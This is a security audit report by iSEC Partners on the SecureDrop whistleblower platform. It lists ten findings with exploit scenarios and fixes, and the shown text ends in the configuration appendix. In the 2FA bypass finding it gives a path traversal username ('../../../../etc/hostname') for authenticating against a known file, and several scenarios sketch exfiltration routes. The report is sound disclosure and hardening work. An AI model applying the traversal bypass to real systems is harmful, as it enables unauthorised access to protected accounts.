Freedom of the Press Foundation SecureDrop Configuration Review & Application Penetration Test

Prepared for:

FREEDOM OF THE PRESS FOUNDATION

Prepared by:
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## Document Change Log

<table>
<thead>
<tr>
<th>Version</th>
<th>Date</th>
<th>Change</th>
</tr>
</thead>
<tbody>
<tr>
<td>0.1</td>
<td>2014-06-06</td>
<td>Status week 1</td>
</tr>
<tr>
<td>0.2</td>
<td>2014-06-13</td>
<td>Status week 2</td>
</tr>
<tr>
<td>1.0</td>
<td>2014-06-20</td>
<td>Release for the Freedom of the Press Foundation</td>
</tr>
<tr>
<td>1.1</td>
<td>2014-07-14</td>
<td>Public release</td>
</tr>
</tbody>
</table>
# Table of Contents

1 Executive Summary ................................................................. 5  
1.1 iSEC Risk Summary ............................................................... 6  
1.2 Project Summary ..................................................................... 7  
1.3 Findings Summary ................................................................. 8  
1.4 Recommendations Summary .................................................. 9  
2 Engagement Structure ............................................................... 11  
2.1 Internal and External Teams ..................................................... 11  
2.2 Project Goals and Scope .......................................................... 12  
3 Detailed Findings .................................................................... 14  
3.1 Classifications ................................................................. 14  
3.2 Vulnerabilities ................................................................... 16  
3.3 Detailed Vulnerability List ...................................................... 17  
Appendices ............................................................................. 27  
A Outdated OSSEC and AppArmor configuration .................... 27  
A.1 OSSEC Config ................................................................. 27  
A.2 AppArmor Profiles .......................................................... 28  
B OSSEC Alerts ..................................................................... 29  
C Sensitive data remains in memory ........................................... 31  
C.1 Proof of concept ............................................................... 31  
D Apache Two Factor Authentication (2FA) module bypass ... 32  
D.1 Proof of concept ............................................................... 32  
D.2 Authenticator helper tool .................................................... 33
1 Executive Summary

Application Summary

Application Name: SecureDrop
Application Version: 0.3
Application Type: Web Application
Platform: Flask / Python / Ubuntu Server 12.04.3 LTS

Engagement Summary

Dates: June 2, 2014 – June 20, 2014
Consultants Engaged: 2
Total Engagement Effort: Five person weeks
Engagement Type: Configuration Review & Application Penetration Test
Testing Methodology: White Box

Vulnerability Summary

Total High severity issues: 2
Total Medium severity issues: 4
Total Low severity issues: 3
Total Informational severity issues: 1
Total vulnerabilities identified: 10

See section 3.1 on page 14 for descriptions of these classifications.

Category Breakdown:

Access Controls: 0
Auditing and Logging: 0
Authentication: 2
Configuration: 3
Cryptography: 1
Data Exposure: 2
Data Validation: 0
Denial of Service: 0
Error Reporting: 1
Patching: 1
Session Management: 0
Timing: 0
1.1 iSEC Risk Summary

The iSEC Partners Risk Summary chart evaluates discovered vulnerabilities according to business risk. The impact of the vulnerability increases towards the bottom of the chart. The sophistication required for an attacker to find and exploit the flaw decreases towards the left of the chart. The closer a vulnerability is to the chart origin, the greater the business risk.
1.2 Project Summary

Open Technology Fund (OTF) engaged iSEC Partners to perform a source-code assisted security review of SecureDrop, formerly DeadDrop, a whistle-blower submission system. Two consultants performed this review during the weeks of June 2\textsuperscript{nd} and June 9\textsuperscript{th}, with one consultant continuing through the week of June 16\textsuperscript{th} for a total of five person-weeks of effort. This security analysis was structured as “best effort” within the given time frame.

The primary goal of this engagement was to identify vulnerabilities and gaps in the application stack and code base, specifically focusing on changes made following the 0.2 release.\footnote{https://securedrop.hackpad.com/8.3pre-Changes-InMzYY5bnbP} A secondary objective was to provide additional defense in-depth recommendations for both the web application and stack configuration.

The Freedom of the Press Foundation’s (FPF) committed efforts helped to make this engagement a success. An FPF technical contact met with the iSEC team in iSEC’s New York offices to answer questions and help set up the testing environment. FPF provided Intel NUC PCs for on-site testing in iSEC’s offices. However, due to hardware incompatibilities with Ubuntu Linux, SecureDrop’s base OS, it was not possible to use these machines. Instead, FPF configured two virtual private server (VPS) instances as a functioning test environment. Mail delivery for Open Source SECurity (OSSEC) notifications was initially handled by Google mail servers acting as SMTP relays, but these messages were eventually blocked by Google. This was remediated by reinstalling the application platform on a host with a new IP. FPF’s technical team was quick to resolve both of these issues and allowed iSEC to continue testing unabated.

SecureDrop is a mature application that was built with a security mindset from the early stages. The design is well thought-out, beginning with the application stack. Each component is tightly controlled in the stack, from the operating system to the dependencies used by the web application. SecureDrop has undergone two prior, public, security penetration tests which iSEC reviewed to guide our understanding of the application and attack surface.

Several elements of the SecureDrop stack were considered out-of-scope for this engagement:

- Attacks on the Tor network
- Third-party libraries and frameworks (Flask, Metadata Anonymisation Toolkit)
- Hardware necessary for SecureDrop infrastructure such as servers, routers, and firewalls.
1.3 Findings Summary

SecureDrop is resistant to most known vulnerabilities and attack vectors. This reports includes nine issues and an informational finding, but it should be noted that most of these issues can only be exploited in combination with some other, unknown, vulnerabilities. Many of the issues in the report affect the environment rather than the web application. This is because the application presents a very limited attack surface.

The web application testing predominately focused on reviewing the pre-release changes, as identified by Open Technology Fund, that will be in the next release of SecureDrop. The first tackled was the dependency modifications, which had a few discrepancies as described in Appendix A.2 on page 28. The database layer and the latest modifications around the SQLAlchemy ORM were also reviewed. iSEC was unable to identify any areas of concern around the usage of SQLAlchemy. Issues such as bypassing quoting rules and processing raw SQL have been avoided. Additionally, the file storage process was reviewed for vulnerabilities. When a file is first uploaded by a source, the application will attempt to strip out file metadata based on the source’s preference. Prior to this, however, SecureDrop makes a copy of the unsanitized file into a Python `NamedTemporaryFile` object. This is effectively created using `mkstemp`, which utilizes several security features around race conditions and permissions. Fortunately, SecureDrop securely removes the unsanitized temporary file using `srm`. However, plaintext data stored in memory is not cleaned up. See finding 3 on page 19 for more details.

Testing of the Ubuntu environment covered the firewall configuration, which resulted in two low-severity findings related to the iptables rules. The pre-release changes caused a few other discrepancies, such as small issues in the OSSEC monitor list. More importantly, they caused an error in the unattended upgrade of configuration file, which resulted in SecureDrop not receiving security updates, as described in finding 1 on page 17. The iSEC team also reviewed the Apache module for two-factor authentication. iSEC was able to bypass the login prompt by leveraging a known vulnerability of this module. See finding 2 on page 18 for more details.

\[2\]https://docs.python.org/2/library/tempfile.html#tempfile.mkstemp
1.4 Recommendations Summary

This summary provides high-level recommendations designed to improve the security and resiliency of the application.

SecureDrop has a strong security posture, but the threats faced by journalists and sources have tools and capabilities that are impossible to recreate in a time-boxed security test. Several of the findings are potentially one-off misconfigurations that can be easily resolved, but they do highlight weaknesses in pre-commit change validation. In other instances, design decisions were made for usability reasons that can compromise journalist authentication. However, the largest challenge no doubt lies in hardening the application with defense-in-depth mechanisms and thinking of creative ways to provide alerts when attacks could be in-process.

Vulnerability Recommendations

Repair unattended upgrades. The most critical finding of this assessment is that SecureDrop is not receiving security patches automatically. Repair the configuration of the unattended-upgrades package to restore security patches.

Retire the 2FA Apache module. google-authenticator-apache-module, the Apache module used for two-factor authentication on the document interface contains security vulnerabilities and should be retired. Implement and manage two-factor authentication through the application instead.

Enable two-factor authentication on the document interface. Require a password to be sent with the one-time code on the document interface to authenticate the journalist on the portal.

Sanitize OSSEC alerts. Remove the pieces of information disclosing internal details of SecureDrop from the OSSEC generated alerts. Route the emails over Tor to better anonymize their origin.

Patch the iptables rules. Correct the iptables rules to restrict DNS traffic only to the configured DNS server. Filter NTP traffic to reject connections that have not been initiated.

Defense-in-depth Recommendations

Isolate the document and source interfaces. The document and sources interfaces operate in different trust zones, but they are not properly isolated. They are currently separated by chroot jails for technical reasons, as two Tor instances would not work properly in the same environment. If physical separation (two distincts hosts) is not an option, consider making Grsecurity mandatory for SecureDrop. Additionally, look into replacing the chroot jails with LinuX Containers (LXC).

Setup active response on server compromise. OSSEC offers an active response mechanism, which allows actions to be taken when a rootkit is detected or the system is compromised. When such event is detected, consider closing the source and interface portals, as well as deleting encrypted documents, log files and other time-related metadata from disk.
Enforce password complexity. There are currently no requirements on password complexity for local Linux users. Only the administrator of SecureDrop is supposed to have an account, but as a defense-in-depth, enforce password complexity through the use of the PAM module common-password. This can be achieved through the combination of lcredit, ucredit, dcredit and ocredit parameters. Additionally, consider requiring an SSH key for remote login of the administrator.

Disable extra drivers. There is no default Bluetooth software installed or service running, but the Bluetooth kernel module is activated. Similarly, there is no use for the ipwireless module. Disable the drivers by configuring the kernel’s module loading system (modprobe) to prevent loading of the Bluetooth and WiFi modules.

Setup a tmpfs partition. Temporary files created by the web server, such as documents submitted by sources are saved to disk in order to strip metadata. Files are securely removed from disk using srm, but saving them on a tmpfs partition instead will prevent sensitive data from being written to non-volatile memory.

2 Engagement Structure

2.1 Internal and External Teams

The iSEC team has the following primary members:

• Valentin Leon-Bonnet — Senior Security Engineer
  valentin@isecpartners.com

• Jonathan Chittenden — Principal Security Engineer
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• Adam Cotenoff — Security Intern - Shadowing
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• Dana Bost — Project Manager
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• Tom Ritter — Account Manager
  tritter@isecpartners.com

The Open Technology Fund team has the following primary members:

• Trevor Timm — Freedom of the Press Foundation
  trevor@pressfreedomfoundation.org

• Garrett Robinson — Freedom of the Press Foundation
  garrett@pressfreedomfoundation.org

• James Dolan — Freedom of the Press Foundation
  james@pressfreedomfoundation.org
2.2 Project Goals and Scope

The goal of this engagement was to identify vulnerabilities and gaps in both the application stack and code base, specifically around changes since the 0.2 release. The secondary objective was to provide additional defense in-depth in the web application and stack configuration. This security analysis was structured as “best effort” within the given time frame.

The list of changes to the code from 0.2 to 0.3 include:

- Web Application
  - Reduced JS dependencies to Jquery (stable) only
    - previously used a notification library for warning sources about having JS enabled
    - removed localForage dependency
  - Added functional tests and increased unit test coverage
  - Rewrote database layer (db.py) using SQLAlchemy declarative ORM
    - “flagged” sources
    - metadata for new UI features (starring, etc.)
    - metadata for simpler/more efficient views in journalist.py
  - Add metadata scrubbing (opt-in by source) using MAT
    - Handled by production configuration (doesn’t matter for development)
  - Automate developer setup with Vagrant, and integrate with Travis CI
  - Store more information in the database and less on the filesystem
  - Don’t set headers in the web application
  - 2-factor authentication for journalist interface
  - OSSEC emails can be encrypted with admin’s GPG key
  - Install application server, monitor server, and do hardening via deb package
  - UI refresh on both source and journalist interfaces
  - New UX for journalists:
    - “quick filter” box for codenames
    - “download unread” link
    - star sources
    - more detailed source listings
  - Normalize submission timestamps to that of the most recent submission to minimize metadata that could be potentially used for correlation

- Environment

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4 https://securedrop.hackpad.com/0.3pre-Changes-InMzYY5bnbP
5 https://github.com/mozilla/localforage
- Added egress host firewall rules, previous version only did egress filtering on the network firewall
- Added google-authenticator apache module and basic auth for the access to the document interface.
- The bodies of the OSSEC email alerts are gpg encrypted (required adding postfix and procmail to monitor server.
- Created apparmor profiles for the chroot’d interface’s tor process.
- The interfaces’ apparmor profiles we updated for the changes to the application code.
- Installation method was changed to deb packages (though an internet connection is still required)

When reviewing SecureDrop environment, the iSEC team focused on the following elements:

- OSSEC
- AppArmor
- Chroot jails
- SSH
- Apache
- iptables
3 Detailed Findings

3.1 Classifications

The following section describes the classes, severities, and exploitation difficulty rating assigned to each identified issue by iSEC.

<table>
<thead>
<tr>
<th>Vulnerability Classes</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Class</td>
<td>Description</td>
</tr>
<tr>
<td>Access Controls</td>
<td>Related to authorization of users, and assessment of rights</td>
</tr>
<tr>
<td>Auditing and Logging</td>
<td>Related to auditing of actions, or logging of problems</td>
</tr>
<tr>
<td>Authentication</td>
<td>Related to the identification of users</td>
</tr>
<tr>
<td>Configuration</td>
<td>Related to security configurations of servers, devices, or software</td>
</tr>
<tr>
<td>Cryptography</td>
<td>Related to mathematical protections for data</td>
</tr>
<tr>
<td>Data Exposure</td>
<td>Related to unintended exposure of sensitive information</td>
</tr>
<tr>
<td>Data Validation</td>
<td>Related to improper reliance on the structure or values of data</td>
</tr>
<tr>
<td>Denial of Service</td>
<td>Related to causing system failure</td>
</tr>
<tr>
<td>Error Reporting</td>
<td>Related to the reporting of error conditions in a secure fashion</td>
</tr>
<tr>
<td>Patching</td>
<td>Related to keeping software up to date</td>
</tr>
<tr>
<td>Session Management</td>
<td>Related to the identification of authenticated users</td>
</tr>
<tr>
<td>Timing</td>
<td>Related to the race conditions, locking, or order of operations</td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Severity Categories</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>Severity</td>
<td>Description</td>
</tr>
<tr>
<td>Informational</td>
<td>The issue does not pose an immediate risk, but is relevant to security best practices or Defense in Depth</td>
</tr>
<tr>
<td>Undetermined</td>
<td>The extent of the risk was not determined during this engagement</td>
</tr>
<tr>
<td>Low</td>
<td>The risk is relatively small, or is not a risk the customer has indicated is important</td>
</tr>
<tr>
<td>Medium</td>
<td>Individual user's information is at risk, exploitation would be bad for client’s reputation, of moderate financial impact, possible legal implications for client</td>
</tr>
<tr>
<td>High</td>
<td>Large numbers of users, very bad for client’s reputation or serious legal implications.</td>
</tr>
<tr>
<td>Difficulty</td>
<td>Description</td>
</tr>
<tr>
<td>--------------</td>
<td>---------------------------------------------------------------------------------------------------------------------------------------------</td>
</tr>
<tr>
<td>Undetermined</td>
<td>The difficulty of exploit was not determined during this engagement</td>
</tr>
<tr>
<td>Low</td>
<td>Commonly exploited, public tools exist or can be scripted that exploit this flaw</td>
</tr>
<tr>
<td>Medium</td>
<td>Attackers must write an exploit, or need an in depth knowledge of a complex system</td>
</tr>
<tr>
<td>High</td>
<td>The attacker must have privileged insider access to the system, may need to know extremely complex technical details or must discover other weaknesses in order to exploit this issue</td>
</tr>
</tbody>
</table>
### 3.2 Vulnerabilities

The following table is a summary of iSEC’s identified vulnerabilities. Subsequent pages of this report detail each of the vulnerabilities, along with short and long term remediation advice.

<table>
<thead>
<tr>
<th>Vulnerability</th>
<th>Class</th>
<th>Severity</th>
</tr>
</thead>
<tbody>
<tr>
<td>1. Security patches incorrectly installed</td>
<td>Patching</td>
<td>High</td>
</tr>
<tr>
<td>2. Apache Two Factor Authentication (2FA) module bypass</td>
<td>Authentication</td>
<td>High</td>
</tr>
<tr>
<td>3. Sensitive data remains in memory</td>
<td>Data Exposure</td>
<td>Medium</td>
</tr>
<tr>
<td>4. Lack of two-factor authentication for journalists</td>
<td>Authentication</td>
<td>Medium</td>
</tr>
<tr>
<td>5. Collisions can occur during code name generation</td>
<td>Cryptography</td>
<td>Medium</td>
</tr>
<tr>
<td>6. OSSEC alerts disclose system details</td>
<td>Data Exposure</td>
<td>Medium</td>
</tr>
<tr>
<td>7. Iptables rules allows for any traffic on port 123</td>
<td>Configuration</td>
<td>Low</td>
</tr>
<tr>
<td>8. Iptables rules allow for DNS traffic with any server</td>
<td>Configuration</td>
<td>Low</td>
</tr>
<tr>
<td>9. OSSEC not watching unattended-upgrade log file</td>
<td>Error Reporting</td>
<td>Low</td>
</tr>
<tr>
<td>10. Outdated OSSEC and AppArmor configuration</td>
<td>Configuration</td>
<td>Informational</td>
</tr>
</tbody>
</table>
3.3  Detailed Vulnerability List

1. Security patches incorrectly installed

<table>
<thead>
<tr>
<th>Class</th>
<th>Severity</th>
<th>Difficulty</th>
</tr>
</thead>
<tbody>
<tr>
<td>Patching</td>
<td>High</td>
<td>High</td>
</tr>
</tbody>
</table>

**FINDING ID:** iSEC-14FTC-003-5

**AFFECTS:** Version 0.3 only.

**TARGETS:** The unattended-upgrade configuration file available at `/etc/apt/apt.conf.d/50unattended-upgrades`.

**DESCRIPTION:** SecureDrop leverages the unattended-upgrade utility to automatically install security patches for the operating system and installed software. unattended-upgrade reads its configuration from files in the `/etc/apt/apt.conf.d` directory. However, an error in the `50unattended-upgrades` file results in the security patches not being installed. The configuration file is using a deprecated format that is no longer recognized by the unattended-upgrade daemon.

**EXPLOIT SCENARIO:** A new vulnerability in the OpenSSL library is disclosed and security patches for the library are made available to Ubuntu distributions. Since the administrators believe the box will upgrade itself, SecureDrop remains unpatched for several weeks, and an attacker exploits the vulnerability to steal the Hidden Services private key from the Tor process, which they then use to masquerade as the SecureDrop install.

**SHORT TERM SOLUTION:** Correct the unattended-upgrade configuration by selecting security patches using the following:

```
Unattended-Upgrade::Origins-Pattern {
  "o=${distro_id},a=${distro_codename}-security";
};
Unattended-Upgrade::Remove-Unused-Dependencies "true";
Unattended-Upgrade::Automatic-Reboot "true";
```

**LONG TERM SOLUTION:** Create a process to alert SecureDrop users of critical vulnerabilities impacting the SecureDrop software stack, asking their administrator to login and verify that the updated packages have been correctly installed.
2. Apache Two Factor Authentication (2FA) module bypass

| Class: Authentication | Severity: High | Difficulty: High |

**Finding ID:** iSEC-14FTC-003-10

**Affects:** Version 0.3 only.

**Targets:** The basic authentication prompt on the journalist interface.

**Description:** The Document Interface relies upon a 3rd party Apache module named google-authenticator-apache-module to authenticate the journalist. This module contains flaws which allow an attacker to gain entry to the web application without proper credentials.\(^6\)

When a user attempts to login via the module, the module attempts to find a shared secret for the supplied user which is used to seed the google authenticator and produce an access token. It does this by looking for a file with the name of the user, in a folder specified by the Apache configuration file. If this file exists, it is opened and the secret is read from the first line of the file.

The module does not sanitize the username as supplied by the user, and so a relative pathname (e.g. `../../../../etc/hostname`) may be passed in. Thus the user may trick the server into using any file in the file system as the container of the secret. If a file with a known content is chosen, the user may supply a token generated from this content and will be given access. Because SecureDrop document interface does not support multiple users yet, anyone able to bypass the authentication will get access to the full portal.

A proof of concept exploiting this flaw is located in Appendix D on page 32.

**Exploit Scenario:** An attacker is able to get access to the Tor hidden service secret cookie of the Document Interface. From there, the attacker exploits this vulnerability as explained in the proof of concept to gain full access to the Document Interface without supplying correct 2FA credentials.

**Short Term Solution:** This Apache module is not well maintained. Avoid using `google-authenticator-apache-module` in favor of using a secure, randomly generated password, until a safe 2FA authentication method is in place.

**Long Term Solution:** Rather than using Apache HTTP authentication, the application should use a time-based one-time password (TOTP) library and manage login and authentication itself through a web form. This would also remove the reliance on a specific authentication module and web server.

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\(^6\)https://code.google.com/p/google-authenticator-apache-module/issues/detail?id=7
3. Sensitive data remains in memory

**Class:** Data Exposure  
**Severity:** Medium  
**Difficulty:** High

**FINDING ID:** iSEC-14FTC-003-9

**AFFECTS:** Versions superior and equal to 0.2.

**TARGETS:** Any memory buffer containing sensitive plaintext data, such as the `clean_file` variable on line 84 of the file `securedrop/blob/develop/securedrop/store.py`.

**DESCRIPTION:** Any document submitted to the SecureDrop application is GPG-encrypted before being saved to the application server; no plaintext files are saved to disk. However, unencrypted document data is passed through a stream, which is stored in memory. This memory is not safely erased, which makes it possible to retrieve plaintext data hours or even days after sensitive documents have been uploaded by dumping process memory.

A proof of concept exploiting this flaw is located in Appendix C on page 31.

**Note:** FPF also pointed out the possibility that large files may be swapped out to disk by Python, but the iSEC team was not able to look into this issue, due to time constraints.

**EXPLOIT SCENARIO:** An attacker compromises the SecureDrop application server. The attacker dumps the virtual memory of all the source processes. These memory dumps contain unencrypted data from the documents submitted.


Look into the code and analyze the memory for all instances where unencrypted, sensitive data is stored in memory. Ensure all of this data is flushed and overwritten as soon as possible once it is no longer needed.

**LONG TERM SOLUTION:** The short-term solution might not work in all situations, as Python might make additional copies of buffers and streams. Consider hooking the memory allocator in a generic way ([http://legacy.python.org/dev/peps/pep-0445/](http://legacy.python.org/dev/peps/pep-0445/)) or refactoring into short-lived subprocesses.
4. Lack of two-factor authentication for journalists

**Finding ID:** iSEC-14FTC-003-1

**Affects:** All versions.

**Targets:** The authentication flow on the journalist interface

**Description:** One of the recent changes in the pre-0.3 release is the introduction of a TOTP algorithm on the journalist interface. A journalist must authenticate to the Apache server using their username and a one-time password, generated by a TOTP-based application, such as Google Authenticator. The journalist must also authenticate to the Tor hidden service, which is accomplished using a shared secret in a Tor configuration file - without this the client is unable to communicate with the Tor hidden service. However, because the hidden service secret is shared by all journalists, this secret has less value than a unique per-journalist password. The one-time password entered by the journalist, combined with the shared secret for the hidden service, represent a security level higher than a single factor of authentication, but less than traditional true two-factor authentication solutions.

**Exploit Scenario:** An attacker breaks into a journalist’s office when the Tails device is plugged into the journalist’s workstation. Because the journalist keeps their Tails device with their one-time password authenticator, the attacker is able to successfully authenticate to the hidden service without having to obtain any additional secret, like a journalist password.

**Short Term Solution:** Require a password to be entered by the journalist during configuration. This same password must be supplied along with a Google Authenticator code in order to log in. In case of failure, do not throw any explicit error message, such as explaining whether the password or the one time code is invalid.

**Long Term Solution:** There is a balance between usability and security, but the deployment scenarios and threats to SecureDrop are serious enough that decisions like this should err on the side of paranoia. Research about threat scenarios against journalists (such as police raids) to see what is the most commonly used scenario and how authentication could be improved.
5. Collisions can occur during code name generation

| Class: Cryptography | Severity: Medium | Difficulty: High |

Finding ID: iSEC-I4FTC-003-11

Affects: Versions superior and equal to 0.2.

Targets: The function `generate()` between the lines 121 and 130 of `securedrop/blob/develop/securedrop/store.py`.

Description: SecureDrop generates a unique code name for every user that would like to submit documents to the application server. The function used to generate these unique code names does not check to see if the generated code name exists already. Although very unlikely, it is theoretically possible to get a collision between two code names. Adding a check will improve defenses against operational bugs such as the wordlist file going missing, or a strange occurrence or exploit attempt on the random number generator.

Your code name is:

```
hagen awe brute hike vale clung much revet
```

Click Generate if you would like to create a different code name.

Desired code name length: 8 words. Generate

Figure 1: Codename generation

Exploit Scenario: A collision occurs between two code names. One of these users logs in and checks the replies to his/her documents. This user will end up viewing the replies of the other user with the same code name.

Short Term Solution: Implement a check which compares the generated code name with previously-generated code names. If a collision occurs, regenerate a new, unique code name. Repeat the process until a unique code name is created.

Long Term Solution: Send an alert when the number of code names is high enough such that the odds of collisions or DoS becomes a reality.
### 6. OSSEC alerts disclose system details

<table>
<thead>
<tr>
<th>Class</th>
<th>Severity</th>
<th>Difficulty</th>
</tr>
</thead>
<tbody>
<tr>
<td>Data Exposure</td>
<td>Medium</td>
<td>High</td>
</tr>
</tbody>
</table>

**Finding ID:** iSEC-I4FTC-003-7  

**Affects:** All versions.  

**Targets:** The OSSEC email alerts sent by the monitor servers.  

**Description:** OSSEC alerting sends GPG-encrypted emails to a predefined email address. Only the content of the emails are encrypted but other fields such as the subject or headers are left as plain text. As part of the email headers a few sensitive values are disclosed, such as:

- The IP address
- The mail agent
- The user id of the mail agent
- The host name

The following listing illustrates a few headers of such email. For a complete example email, see Appendix B on page 29.

```
Received: from monitor.securedrop ([554.987.263.334]) by mx.google.com
Received: by monitor.securedrop (Postfix, from userid 1001) id A6D6123599;
          Sat, 7 Jun 2014 13:29:17 -0400 (EDT)
```

Listing 2: Sensitive Headers in plaintext

**Note:** In some instances, the IP address of the application is also listed in the subject of the email.

**Exploit Scenario:** An attacker is monitoring traffic between the SecureDrop servers and their email provider. They are able to intercept outgoing email and notice that SecureDrop uses Postfix. From there, the attacker uses a known vulnerability against Postfix and compromises the SecureDrop server.

**Short Term Solution:** Remove the sensitive fields from the email headers. Configure the OSSEC server to not include the IP address of the OSSEC clients in the subject line, or strip it from the subject using a procmail script.

**Long Term Solution:** The IP address of the monitor server is added in “Received” headers by the SMTP server. Consider sending emails through the Tor network to anonymize the connection. The SMTP server will instead log the IP address of the Tor exit node.

FPF pointed out that unauthenticated emails sent on port 25 are not allowed to transit on the Tor network to prevent spam emailing. As an alternative for clients requiring emails to be sent over port 25, setup two different public IP addresses for the monitor server and the application server so that the public address of the application server is not disclosed.
7. Iptables rules allows for any traffic on port 123

| Class: Configuration | Severity: Low | Difficulty: High |

**FINDING ID:** iSEC-14FTC-003-3

**AFFECTS:** All versions.

**TARGETS:** The monitor and application server iptables rules, available at

- Line 80 of securedrop/blob/develop/install_files/app-ossec/DEBIAN/postinst
- Line 31 of securedrop/blob/develop/install_files/monitor-hardening/etc/iptables/rules_v4

**DESCRIPTION:** The iptables rules on the SecureDrop monitor and application servers allow for any UDP traffic on port 123. The following rules were intended to authorize Network Time Protocol (NTP) requests originating from Open Technology Fund servers and their responses, but instead they are allowing any incoming UDP traffic on port 123.

```
# NTP rules
-A OUTPUT -p udp --sport 123 --dport 123 -m owner --uid-owner root -j ACCEPT -m comment --comment "ntp"
-A INPUT -p udp --sport 123 --dport 123 -j ACCEPT -m comment --comment "ntp"
```

**Listing 3: iptables commands**

**EXPLOIT SCENARIO:** An attacker was able to execute a script on SecureDrop application server. The attacker then leverages the fact that port 123 is unfiltered to open a backdoor and sends additional commands to execute on the application server.

**SHORT TERM SOLUTION:** Filter NTP traffic based on the state of the connection. Restrict outbound traffic to “NEW”, “ESTABLISHED” or “RELATED” states. Restrict inbound traffic to “ESTABLISHED” or “RELATED”, so that only requests instantiated by the root user will allow for a response to flow through.

**LONG TERM SOLUTION:** Consider switching to OpenNTP and using authentication. Regularly review the firewall rules and ensure that they are as restrictive as possible. Block any network traffic that is not required to operate SecureDrop.
8. Iptables rules allow for DNS traffic with any server

| Class: Configuration | Severity: Low | Difficulty: High |

**FINDING ID:** iSEC-14FTC-003-2

**AFFECTS:** All versions.

**TARGETS:** The monitor and application server iptables rules, available at:

- Line 74 of securedrop/blob/develop/install_files/app-ossec/DEBIAN/postinst
- Line 25 of securedrop/blob/develop/install_files/monitor-hardening/etc/iptables/rules_v4

**DESCRIPTION:** The iptables rules for the SecureDrop monitor and application servers allow for inbound and outbound traffic over port 53 to any IP address. This can be used to exfiltrate data out of SecureDrop.

```
# DNS rules
-A OUTPUT -p tcp --dport 53 -m owner --uid-owner root -m state --state NEW,ESTABLISHED,RELATED -j ACCEPT -m comment --comment "tcp/udp dns"
-A INPUT -p tcp --sport 53 -m state --state ESTABLISHED,RELATED -j ACCEPT -m comment --comment "tcp/udp dns"
-A OUTPUT -p udp --dport 53 -m owner --uid-owner root -m state --state NEW,ESTABLISHED,RELATED,RELATED -j ACCEPT -m comment --comment "tcp/udp dns"
-A INPUT -p udp --sport 53 -m state --state ESTABLISHED,RELATED,RELATED -j ACCEPT -m comment --comment "tcp/udp dns"
```

Listing 4: iptables commands

**EXPLOIT SCENARIO:** An attacker is able to gain remote code execution on Apache by leveraging a 0-day. The attacker reads the content of the encrypted source files in the shared store folder and sends them to their own server by establishing a TCP connection over port 53.

**SHORT TERM SOLUTION:** Restrict DNS traffic to the DNS server provided by the customer during setup. Block any other traffic on TCP and UDP ports 53.

**LONG TERM SOLUTION:** Regularly review the firewall rules and ensure that they are as restrictive as possible. Block any network traffic that is not required to operate SecureDrop.
9. OSSEC not watching unattended-upgrade log file

| Class: Error Reporting | Severity: Low | Difficulty: High |

**Finding ID:** iSEC-14FTC-003-6

**Affects:** All versions.

**Targets:** The OSSEC configuration available at `/var/ossec/etc/ossec.conf`.

**Description:** Open Technology Fund uses OSSEC to monitor log files and file changes in the system. Major system logs files and directories are correctly watched, however the logs of the unattended upgrades are not monitored. Therefore, SecureDrop system administrators will not receive alerts about failed upgrades or suspicious behavior of the unattended upgrade software.

**Exploit Scenario:** An advanced attacker is able to compromise the Ubuntu upgrade process. The attacker forces SecureDrop into downloading extra packages by issuing a security patch containing new dependencies. The dependencies link to a root kit, allowing the attacker to completely compromise SecureDrop servers.

**Short Term Solution:** Add the following lines into the `ossec.conf` configuration file:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/log/unattended-upgrades/unattended-upgrades</location>
</localfile>
```

*Listing 5: ossec.conf*

**Long Term Solution:** Include log files for every software package that is not part of the standard OSSEC configuration and that is not disclosing information about the source activity in `ossec.conf`.

July 14, 2014 Open Technology Fund Confidential Version 1.1
10. Outdated OSSEC and AppArmor configuration

Class: Configuration  Severity: Informational  Difficulty: N/A

**FINDING ID:** iSEC-14FTC-003-4

**AFFECTS:** Version 0.3 only.

**TARGETS:**
- Apache AppArmor profiles, described at Appendix A.2 on page 28
- The OSSEC configuration file, available at /var/ossec/etc/ossec.conf.

**DESCRIPTION:** AppArmor is a security-oriented Linux kernel module that allows a profile to be defined and applied to a program. The profile contains a set of policies that allow or prohibit access to other resources. SecureDrop contains four AppArmor profiles for Tor and Apache, which reside in either the document or source chroot environments. The Apache profiles permit read access to an out-of-date jQuery file and to a recently-removed dependency, Local Forage, as depicted in Appendix A.2 on page 28.

The OSSEC configuration file presents a couple of issues as well. OSSEC is a tool used by SecureDrop to monitor and alert system changes and log files. Its main configuration file, located at /var/ossec/etc/ossec.conf has not been correctly updated since the merging of the document and source applications into the same application server. The configuration file references some invalid directories within the /var/www folder and it also contains what appears to be a copy/paste error, resulting in the duplicate line:

```
<location>/var/chroot/document/var/log/apache2/access.log</location>
```

Listing 6: ossec.conf

Fortunately, the Apache access log for the source application is not watched. Reporting the access log for the source application would have allowed for correlations attacks, which can be used to identify the source. Please see Appendix A.1 on the following page, for more details about the specific lines in ossec.conf.

**SHORT TERM SOLUTION:** Remove the duplicate, invalid or deprecated settings from the AppArmor profile and OSSEC configuration files. Look for other discrepancies that may have resulted from the recent changes.

**LONG TERM SOLUTION:** Whenever a change in SecureDrop application stack is performed, or whenever software is updated, ensure that all configuration files correctly reflect these changes.
Appendices

A  Outdated OSSEC and AppArmor configuration

A.1  OSSEC Config

For a description of the issue, please see finding 10 on the previous page. The OSSEC configuration file on the application server references some invalid directories within the /var/www folder:

```xml
<ignore>/var/www/keys/pubring.gpg</ignore>
<ignore>/var/www/keys/secring.gpg</ignore>
<ignore>/var/www/keys/trustdb.gpg</ignore>
<ignore>/var/www/keys/trustdb.gpg</ignore>
<ignore>/var/www/store</ignore>
```

Listing 7: ossec.conf

The OSSEC configuration file also contains what appears to be a copy/paste error, resulting in a duplicate line:

```xml
<localfile>
  <log_format>syslog</log_format>
  <location>/var/chroot/source/var/log/apache2/error.log</location>
</localfile>
<localfile>
  <log_format>syslog</log_format>
  <location>/var/chroot/document/var/log/apache2/access.log</location>
</localfile>
<localfile>
  <log_format>syslog</log_format>
  <location>/var/chroot/source/var/log/tor/log</location>
</localfile>
<localfile>
  <log_format>syslog</log_format>
  <location>/var/chroot/document/var/log/apache2/error.log</location>
</localfile>
<localfile>
  <log_format>syslog</log_format>
  <location>/var/chroot/document/var/log/apache2/access.log</location>
</localfile>
<localfile>
  <log_format>syslog</log_format>
  <location>/var/chroot/document/var/log/tor/log</location>
</localfile>
<localfile>
  <log_format>syslog</log_format>
  <location>/var/chroot/document/var/log/apache2/access.log</location>
</localfile>
<localfile>
